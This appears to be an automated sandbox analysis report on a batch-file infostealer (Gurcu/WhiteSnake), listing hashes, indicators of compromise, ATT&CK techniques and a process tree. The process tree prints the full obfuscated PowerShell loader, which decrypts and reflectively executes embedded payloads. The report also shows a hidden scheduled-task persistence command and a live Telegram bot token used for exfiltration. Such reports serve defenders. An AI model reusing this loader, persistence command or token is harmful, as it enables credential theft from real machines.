gurcu | f2531f30acc4736b5e6d2078265c6021d8435405547a67dfaf660716e17b121e

Analysis

max time kernel
1912s
max time network
1870s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
14-09-2024 18:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

usb_rootkit.bat
Size

556KB
MD5

ccc8244e0a00612fa460fd2907c139df
SHA1

25eaeeb11cf34a4163b7a12d2fc596def0647bd3
SHA256

f2531f30acc4736b5e6d2078265c6021d8435405547a67dfaf660716e17b121e
SHA512

5b719d7dc915fe03c3d842bd5a7c7a395ce769cf9597b9f97c9a72183cdb9ca43015ab00b433cef1bbee71ca8ac08887b7852773c34226b77c95e017e15e6dac
SSDEEP

12288:fZNDU4c1NzJnTGbAKkZvWci7jiugu8/8z2I2pkiuCSSUz0KTr2k:fZNKlJnTSAXHjD5u90KB

Score

10^/10

gurcu execution stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6200390688:AAGQXodp6n3MHi-Q9hqn4B3BGpjnmSz3dq4/sendMessage?chat_id=6111980289

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Blocklisted process makes network request 3 IoCs

flow	pid	Process
12	1652	powershell.exe
20	1652	powershell.exe
24	1652	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3624	powershell.exe
1532	powershell.exe
1652	powershell.exe
2640	powershell.exe
1716	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
4796	ofdhost.exe
4196	ofdhost.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Drops file in System32 directory 19 IoCs

description	ioc	Process
File created	C:\Windows\system32\SleepStudy\user-not-present-trace-2024-09-14-18-13-43.etl	svchost.exe
File opened for modification	C:\Windows\system32\SleepStudy\user-not-present-trace-2024-09-14-18-13-43.etl	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File created	C:\Windows\System32\ofdhost.exe	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\Windows TC Manager	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\System32\ofdhost.exe	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00ED83099BF"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133670793622856636"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PTT = "133708112853930506"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PCT = "133708112236682676"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133670793624887992"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3624	powershell.exe
3624	powershell.exe
1532	powershell.exe
1532	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3416	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeIncreaseQuotaPrivilege	1532	powershell.exe
Token: SeSecurityPrivilege	1532	powershell.exe
Token: SeTakeOwnershipPrivilege	1532	powershell.exe
Token: SeLoadDriverPrivilege	1532	powershell.exe
Token: SeSystemProfilePrivilege	1532	powershell.exe
Token: SeSystemtimePrivilege	1532	powershell.exe
Token: SeProfSingleProcessPrivilege	1532	powershell.exe
Token: SeIncBasePriorityPrivilege	1532	powershell.exe
Token: SeCreatePagefilePrivilege	1532	powershell.exe
Token: SeBackupPrivilege	1532	powershell.exe
Token: SeRestorePrivilege	1532	powershell.exe
Token: SeShutdownPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeSystemEnvironmentPrivilege	1532	powershell.exe
Token: SeRemoteShutdownPrivilege	1532	powershell.exe
Token: SeUndockPrivilege	1532	powershell.exe
Token: SeManageVolumePrivilege	1532	powershell.exe
Token: 33	1532	powershell.exe
Token: 34	1532	powershell.exe
Token: 35	1532	powershell.exe
Token: 36	1532	powershell.exe
Token: SeIncreaseQuotaPrivilege	1532	powershell.exe
Token: SeSecurityPrivilege	1532	powershell.exe
Token: SeTakeOwnershipPrivilege	1532	powershell.exe
Token: SeLoadDriverPrivilege	1532	powershell.exe
Token: SeSystemProfilePrivilege	1532	powershell.exe
Token: SeSystemtimePrivilege	1532	powershell.exe
Token: SeProfSingleProcessPrivilege	1532	powershell.exe
Token: SeIncBasePriorityPrivilege	1532	powershell.exe
Token: SeCreatePagefilePrivilege	1532	powershell.exe
Token: SeBackupPrivilege	1532	powershell.exe
Token: SeRestorePrivilege	1532	powershell.exe
Token: SeShutdownPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeSystemEnvironmentPrivilege	1532	powershell.exe
Token: SeRemoteShutdownPrivilege	1532	powershell.exe
Token: SeUndockPrivilege	1532	powershell.exe
Token: SeManageVolumePrivilege	1532	powershell.exe
Token: 33	1532	powershell.exe
Token: 34	1532	powershell.exe
Token: 35	1532	powershell.exe
Token: 36	1532	powershell.exe
Token: SeIncreaseQuotaPrivilege	1532	powershell.exe
Token: SeSecurityPrivilege	1532	powershell.exe
Token: SeTakeOwnershipPrivilege	1532	powershell.exe
Token: SeLoadDriverPrivilege	1532	powershell.exe
Token: SeSystemProfilePrivilege	1532	powershell.exe
Token: SeSystemtimePrivilege	1532	powershell.exe
Token: SeProfSingleProcessPrivilege	1532	powershell.exe
Token: SeIncBasePriorityPrivilege	1532	powershell.exe
Token: SeCreatePagefilePrivilege	1532	powershell.exe
Token: SeBackupPrivilege	1532	powershell.exe
Token: SeRestorePrivilege	1532	powershell.exe
Token: SeShutdownPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeSystemEnvironmentPrivilege	1532	powershell.exe
Token: SeRemoteShutdownPrivilege	1532	powershell.exe
Token: SeUndockPrivilege	1532	powershell.exe
Token: SeManageVolumePrivilege	1532	powershell.exe
Token: 33	1532	powershell.exe
Token: 34	1532	powershell.exe
Token: 35	1532	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3416	Explorer.EXE
3416	Explorer.EXE

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
3416	Explorer.EXE
3416	Explorer.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3416	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 2144	4612	cmd.exe	86
PID 4612 wrote to memory of 2144	4612	cmd.exe	86
PID 4612 wrote to memory of 3624	4612	cmd.exe	87
PID 4612 wrote to memory of 3624	4612	cmd.exe	87
PID 3624 wrote to memory of 1532	3624	powershell.exe	88
PID 3624 wrote to memory of 1532	3624	powershell.exe	88
PID 3624 wrote to memory of 4580	3624	powershell.exe	94
PID 3624 wrote to memory of 4580	3624	powershell.exe	94
PID 4580 wrote to memory of 2804	4580	WScript.exe	95
PID 4580 wrote to memory of 2804	4580	WScript.exe	95
PID 2804 wrote to memory of 3612	2804	cmd.exe	97
PID 2804 wrote to memory of 3612	2804	cmd.exe	97
PID 2804 wrote to memory of 1652	2804	cmd.exe	98
PID 2804 wrote to memory of 1652	2804	cmd.exe	98
PID 1652 wrote to memory of 3416	1652	powershell.exe	56
PID 1652 wrote to memory of 1772	1652	powershell.exe	31
PID 1652 wrote to memory of 1372	1652	powershell.exe	24
PID 1652 wrote to memory of 1960	1652	powershell.exe	36
PID 1652 wrote to memory of 2252	1652	powershell.exe	40
PID 1652 wrote to memory of 3380	1652	powershell.exe	55
PID 1652 wrote to memory of 2336	1652	powershell.exe	93
PID 1652 wrote to memory of 956	1652	powershell.exe	12
PID 1652 wrote to memory of 2592	1652	powershell.exe	44
PID 1652 wrote to memory of 2724	1652	powershell.exe	48
PID 1652 wrote to memory of 2128	1652	powershell.exe	39
PID 1652 wrote to memory of 3160	1652	powershell.exe	67
PID 1652 wrote to memory of 1332	1652	powershell.exe	23
PID 1652 wrote to memory of 2904	1652	powershell.exe	68
PID 1652 wrote to memory of 3488	1652	powershell.exe	69
PID 1652 wrote to memory of 1908	1652	powershell.exe	34
PID 1652 wrote to memory of 2100	1652	powershell.exe	38
PID 1652 wrote to memory of 4660	1652	powershell.exe	70
PID 1652 wrote to memory of 1900	1652	powershell.exe	33
PID 1652 wrote to memory of 1700	1652	powershell.exe	30
PID 1652 wrote to memory of 2684	1652	powershell.exe	47
PID 1652 wrote to memory of 1012	1652	powershell.exe	16
PID 1652 wrote to memory of 1292	1652	powershell.exe	22
PID 1652 wrote to memory of 896	1652	powershell.exe	11
PID 1652 wrote to memory of 1092	1652	powershell.exe	19
PID 1652 wrote to memory of 2268	1652	powershell.exe	41
PID 1652 wrote to memory of 1080	1652	powershell.exe	18
PID 1652 wrote to memory of 1936	1652	powershell.exe	35
PID 1652 wrote to memory of 1396	1652	powershell.exe	73
PID 1652 wrote to memory of 1464	1652	powershell.exe	27
PID 1652 wrote to memory of 1660	1652	powershell.exe	29
PID 1652 wrote to memory of 2444	1652	powershell.exe	43
PID 1652 wrote to memory of 2436	1652	powershell.exe	42
PID 1652 wrote to memory of 3020	1652	powershell.exe	51
PID 1652 wrote to memory of 1236	1652	powershell.exe	21
PID 1652 wrote to memory of 1036	1652	powershell.exe	17
PID 1652 wrote to memory of 1620	1652	powershell.exe	28
PID 1652 wrote to memory of 1412	1652	powershell.exe	26
PID 1652 wrote to memory of 2656	1652	powershell.exe	45
PID 1652 wrote to memory of 3572	1652	powershell.exe	57
PID 1652 wrote to memory of 3176	1652	powershell.exe	54
PID 1652 wrote to memory of 1204	1652	powershell.exe	20
PID 1652 wrote to memory of 1792	1652	powershell.exe	32
PID 1652 wrote to memory of 608	1652	powershell.exe	15
PID 1652 wrote to memory of 404	1652	powershell.exe	14
PID 1652 wrote to memory of 1388	1652	powershell.exe	25
PID 1652 wrote to memory of 796	1652	powershell.exe	10
PID 1652 wrote to memory of 4336	1652	powershell.exe	66
PID 796 wrote to memory of 2980	796	svchost.exe	101
PID 796 wrote to memory of 2980	796	svchost.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:796
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:2980
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{F32D97DF-E3E5-4CB9-9E3E-0EB5B4E49801}
  2⤵
  PID:2124
- C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
  C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
  2⤵
  PID:4528
- C:\Windows\system32\backgroundTaskHost.exe
  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
  2⤵
  PID:2092
- C:\Windows\system32\backgroundTaskHost.exe
  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppX3bn25b6f886wmg6twh46972vprk9tnbf.mca
  2⤵
  PID:1032
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1092
- C:\Windows\System32\ofdhost.exe
  C:\Windows\System32\ofdhost.exe
  2⤵
  - Executes dropped EXE
  PID:4796
- C:\Windows\System32\ofdhost.exe
  C:\Windows\System32\ofdhost.exe
  2⤵
  - Executes dropped EXE
  PID:4196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3380

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
PID:3416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\usb_rootkit.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cog2FfQzXN/CFo+C1z5cA6A5VrFqrgZo+eGY2jDLhQM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xe/cmGaEw2H/frlPjzjJMA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jenev=New-Object System.IO.MemoryStream(,$param_var); $bOggy=New-Object System.IO.MemoryStream; $BvzYa=New-Object System.IO.Compression.GZipStream($jenev, [IO.Compression.CompressionMode]::Decompress); $BvzYa.CopyTo($bOggy); $BvzYa.Dispose(); $jenev.Dispose(); $bOggy.Dispose(); $bOggy.ToArray();}function execute_function($param_var,$param2_var){ $efUPt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IhbzI=$efUPt.EntryPoint; $IhbzI.Invoke($null, $param2_var);}$XNbkd = 'C:\Users\Admin\AppData\Local\Temp\usb_rootkit.bat';$host.UI.RawUI.WindowTitle = $XNbkd;$zWKzr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XNbkd).Split([Environment]::NewLine);foreach ($MsVFK in $zWKzr) { if ($MsVFK.StartsWith('jbXgLDOZDydSfztIPCiv')) { $PxMNs=$MsVFK.Substring(20); break; }}$payloads_var=[string[]]$PxMNs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_476_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_476.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1532
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_476.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4580
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_476.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2804
      - C:\Windows\system32\cmd.exe
        
